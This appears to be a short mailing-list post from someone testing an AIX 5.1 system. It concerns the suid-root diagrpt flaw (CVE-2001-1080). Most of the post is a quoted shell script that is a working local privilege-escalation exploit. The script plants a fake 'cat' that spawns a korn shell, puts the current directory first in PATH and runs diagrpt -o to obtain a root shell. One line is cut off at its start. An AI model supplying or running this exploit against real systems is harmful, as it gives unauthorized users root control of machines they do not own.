I'm testing an AIX 5.1 system which has the suid root

2916 or CVE-2001-1080.

I cannot find info (I have googled) on what to call the
executable I place in the $DIAGDATADIR directory.

Searching for 'diagrpt' on Groups@Google reveals the following:

#!/bin/sh
# Create a script which will spawn a korn shell.
  echo '#!/bin/sh' >cat
  echo 'echo "** r00t  **"' >>cat
  echo '/usr/bin/ksh' >>cat
# Make it executable.
  chmod +x cat
# Make sure the current directory comes first in
# your $PATH.
  oldPath=$PATH
  export PATH="`pwd`:$oldPath"
# run diagrpt with the -o option so it will try
# to cat some diagnostics reports for us...
/usr/lpp/diagnostics/bin/diagrpt -o
